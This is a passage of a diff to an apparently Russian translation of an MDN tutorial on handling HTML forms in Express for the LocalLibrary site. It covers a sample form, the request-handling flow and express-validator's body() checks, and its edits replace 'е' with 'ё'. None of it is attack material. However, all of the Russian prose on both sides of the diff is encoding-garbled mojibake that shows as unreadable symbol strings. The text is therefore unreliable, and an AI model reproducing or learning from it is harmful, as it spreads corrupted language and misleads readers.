Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹, ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ΅Π½.</p>
<p>Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ, ΠΊΠ°ΠΊ Π²Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ Π² <em>Express</em>. По ΠΏΡƒΡ‚ΠΈ ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ Π²Π΅Π±-сайт <em>LocalLibrary</em>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³Π»ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ элСмСнты ΠΈΠ· Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ.</p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> ΠœΡ‹ Π½Π΅ рассматривали, ΠΊΠ°ΠΊ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ, поэтому Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ любой ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ смоТСт Π²Π½ΠΎΡΠΈΡ‚ΡŒ измСнСния Π² Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> ΠœΡ‹ Π½Π΅ рассматривали, ΠΊΠ°ΠΊ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ, поэтому Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ любой ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ смоТСт Π²Π½ΠΎΡΠΈΡ‚ΡŒ измСнСния Π² Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ….</p>
</div>
<h3 id="HTML_Forms">HTML Forms</h3>
@@ -44,7 +44,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p>
-<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²Β  HTML Ρ„ΠΎΡ€ΠΌΡ‹ ΡΠΎΠ±ΠΈΡ€Π°ΡŽΡ‚ΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ тэга <code>&lt;form&gt;...&lt;/form&gt;</code>, содСрТащСго хотя Ρ‹ ΠΎΠ΄ΠΈΠ½ элСмСнт <code>input</code> с <code>type="submit"</code>.</p>
+<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²Β  HTML Ρ„ΠΎΡ€ΠΌΡ‹ ΡΠΎΠ±ΠΈΡ€Π°ΡŽΡ‚ΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ тэга <code>&lt;form&gt;...&lt;/form&gt;</code>, содСрТащСго хотя Ρ‹ ΠΎΠ΄ΠΈΠ½ элСмСнт <code>input</code> с <code>type="submit"</code>.</p>
<pre class="brush: html notranslate">&lt;form action="/team_name_url/" method="post"&gt;
Β  Β  &lt;label for="team_name"&gt;Enter name: &lt;/label&gt;
@@ -52,7 +52,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
Β  Β  &lt;input type="submit" value="OK"&gt;
&lt;/form&gt;</pre>
-<p>Π₯отя здСсь ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ (тСкстовоС) ΠΏΠΎΠ»Π΅ для Π²Π²ΠΎΠ΄Π° ΠΈΠΌΠ΅Π½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Ρ„ΠΎΡ€ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ любоС количСство Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов Π²Π²ΠΎΠ΄Π° ΠΈ связанных с Π½ΠΈΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠΊ. Атрибут <code>type</code> опрСдСляСт ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· <a href="/ru/docs/Learn/HTML/Forms/Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Ρ‹Π΅_Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹_Ρ„ΠΎΡ€ΠΌ">Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ²</a> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ для отобраТСния поля. Атрибуты <code>name</code> ΠΈ <code>id</code> ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‚ ΠΏΠΎΠ»Π΅ Π² JavaScript/CSS/HTML, Π° <code>value</code> опрСдСляСт Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Бвязанная с ΠΏΠΎΠ»Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΊΠ°, задаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π΅Π³Π° <code style="font-style: normal; font-weight: normal;">label</code> (располагаСтся строкой Π²Ρ‹ΡˆΠ΅ ΠΈ содСрТит Π² сСбС подпись "Enter name"). Бвязь ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΈ поля Π²Π²ΠΎΠ΄Π° устанавливаСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>for</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ указываСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° поля (<code>input</code> <code>id</code>).</p>
+<p>Π₯отя здСсь ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ (тСкстовоС) ΠΏΠΎΠ»Π΅ для Π²Π²ΠΎΠ΄Π° ΠΈΠΌΠ΅Π½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Ρ„ΠΎΡ€ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ любоС количСство Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов Π²Π²ΠΎΠ΄Π° ΠΈ связанных с Π½ΠΈΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠΊ. Атрибут <code>type</code> опрСдСляСт ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· <a href="/ru/docs/Learn/HTML/Forms/Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Ρ‹Π΅_Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹_Ρ„ΠΎΡ€ΠΌ">Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ²</a> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ для отобраТСния поля. Атрибуты <code>name</code> ΠΈ <code>id</code> ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‚ ΠΏΠΎΠ»Π΅ Π² JavaScript/CSS/HTML, Π° <code>value</code> опрСдСляСт Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Бвязанная с ΠΏΠΎΠ»Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΊΠ°, задаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π΅Π³Π° <code style="font-style: normal; font-weight: normal;">label</code> (располагаСтся строкой Π²Ρ‹ΡˆΠ΅ ΠΈ содСрТит Π² сСбС подпись "Enter name"). Бвязь ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΈ поля Π²Π²ΠΎΠ΄Π° устанавливаСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>for</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ указываСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° поля (<code>input</code> <code>id</code>).</p>
<p>Input <code>submit </code>Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² Π²ΠΈΠ΄Π΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ) - ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΆΠ°Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, содСрТащиСся Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… элСмСнтов Π½Π° сСрвСр (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ team_name). Атрибуты Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ HTTP, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сСрвСрС (action):</p>
@@ -70,7 +70,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
<p>ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Ρ„ΠΎΡ€ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ всС Ρ‚Π΅ ΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΈΠ·ΡƒΡ‡ΠΈΠ»ΠΈ для отобраТСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π½Π°ΡˆΠΈΡ… модСлях: ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ отправляСт запрос Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°, которая выполняСт всС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ дСйствия с Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ…, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, Π° Π·Π°Ρ‚Π΅ΠΌ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ HTML-страницу. Π§Ρ‚ΠΎ услоТняСт ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сСрвСр Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, прСдоставлСнныС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ с ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, Ссли Π΅ΡΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.</p>
-<p>Π‘Π»ΠΎΠΊ-схСма процСсса ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ запросов Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° Π½ΠΈΠΆΠ΅, начиная с запроса страницы, содСрТащСй Ρ„ΠΎΡ€ΠΌΡƒ (ΠΏΠΎΠΊΠ°Π·Π°Π½Π° Π·Π΅Π»Π΅Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ):</p>
+<p>Π‘Π»ΠΎΠΊ-схСма процСсса ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ запросов Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° Π½ΠΈΠΆΠ΅, начиная с запроса страницы, содСрТащСй Ρ„ΠΎΡ€ΠΌΡƒ (ΠΏΠΎΠΊΠ°Π·Π°Π½Π° Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ):</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/14478/Web%20server%20form%20handling.png" style="height: 649px; width: 800px;"></p>
@@ -79,7 +79,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
<ol>
<li>ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ запросС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ.
<ul>
- <li>Π€ΠΎΡ€ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ пустыС поля (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ создаСтС Π½ΠΎΠ²ΡƒΡŽ запись), ΠΈΠ»ΠΈ ΠΎΠ½Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π° Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ значСниями (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ измСняСтС запись ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ).</li>
+ <li>Π€ΠΎΡ€ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ пустыС поля (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ создаётС Π½ΠΎΠ²ΡƒΡŽ запись), ΠΈΠ»ΠΈ ΠΎΠ½Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π° Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ значСниями (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ измСняСтС запись ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ).</li>
</ul>
</li>
<li>ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π² запросС HTTP <code>POST</code>.</li>
@@ -98,7 +98,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
<p>ΠŸΠ΅Ρ€Π΅Π΄ сохранСниСм Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈΡ… Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΈ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ:</p>
<ul>
- <li>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° провСряСт, Ρ‡Ρ‚ΠΎ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ значСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ подходящими для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ поля (располоТСны Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅, Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΈ Ρ‚. Π΄.) ΠΈ Ρ‡Ρ‚ΠΎ значСния Π±Ρ‹Π»ΠΈ прСдоставлСны для всСх ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»Π΅ΠΉ.</li>
+ <li>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° провСряСт, Ρ‡Ρ‚ΠΎ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ значСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ подходящими для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ поля (располоТСны Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅, Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΈ Ρ‚. Π΄.) ΠΈ Ρ‡Ρ‚ΠΎ значСния Π±Ρ‹Π»ΠΈ прСдоставлСны для всСх ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»Π΅ΠΉ.</li>
<li>ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° удаляСт / замСняСт символы Π² Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ врСдоносного содСрТимого Π½Π° сСрвСр.</li>
</ul>
@@ -128,7 +128,7 @@ const { sanitizeBody } = require('express-validator/filter');
<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<ul>
- <li><code><a href="https://github.com/ctavan/express-validator#bodyfields-message">body(fields[, message])</a></code>: Π—Π°Π΄Π°Π΅Ρ‚ Π½Π°Π±ΠΎΡ€ ΠΏΠΎΠ»Π΅ΠΉ Π² Ρ‚Π΅Π»Π΅ запроса (ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>POST</code>) для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ сообщСниС ΠΎΠ± ошибкС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² случаС сбоя тСстов. ΠšΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ связаны с ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>body()</code>. НапримСр, пСрвая ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½ΠΈΠΆΠ΅ провСряСт, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅" имя "Π½Π΅ пустоС ΠΈ Π·Π°Π΄Π°Π΅Ρ‚ сообщСниС ΠΎΠ± ошибкС" пустоС имя", Ссли ΠΎΠ½ΠΎ Π½Π΅ пустоС. Π’Ρ‚ΠΎΡ€ΠΎΠΉ тСст провСряСт, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ age являСтся допустимой Π΄Π°Ρ‚ΠΎΠΉ, ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ optional() ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ пустыС ΠΈ пустыС строки Π½Π΅ ΠΏΡ€ΠΎΠΉΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ.
+ <li><code><a href="https://github.com/ctavan/express-validator#bodyfields-message">body(fields[, message])</a></code>: Π—Π°Π΄Π°Ρ‘Ρ‚ Π½Π°Π±ΠΎΡ€ ΠΏΠΎΠ»Π΅ΠΉ Π² Ρ‚Π΅Π»Π΅ запроса (ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>POST</code>) для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ сообщСниС ΠΎΠ± ошибкС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² случаС сбоя тСстов. ΠšΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ связаны с ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>body()</code>. НапримСр, пСрвая ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½ΠΈΠΆΠ΅ провСряСт, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅" имя "Π½Π΅ пустоС ΠΈ Π·Π°Π΄Π°Ρ‘Ρ‚ сообщСниС ΠΎΠ± ошибкС" пустоС имя", Ссли ΠΎΠ½ΠΎ Π½Π΅ пустоС. Π’Ρ‚ΠΎΡ€ΠΎΠΉ тСст провСряСт, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ age являСтся допустимой Π΄Π°Ρ‚ΠΎΠΉ, ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ optional() ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ пустыС ΠΈ пустыС строки Π½Π΅ ΠΏΡ€ΠΎΠΉΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ.
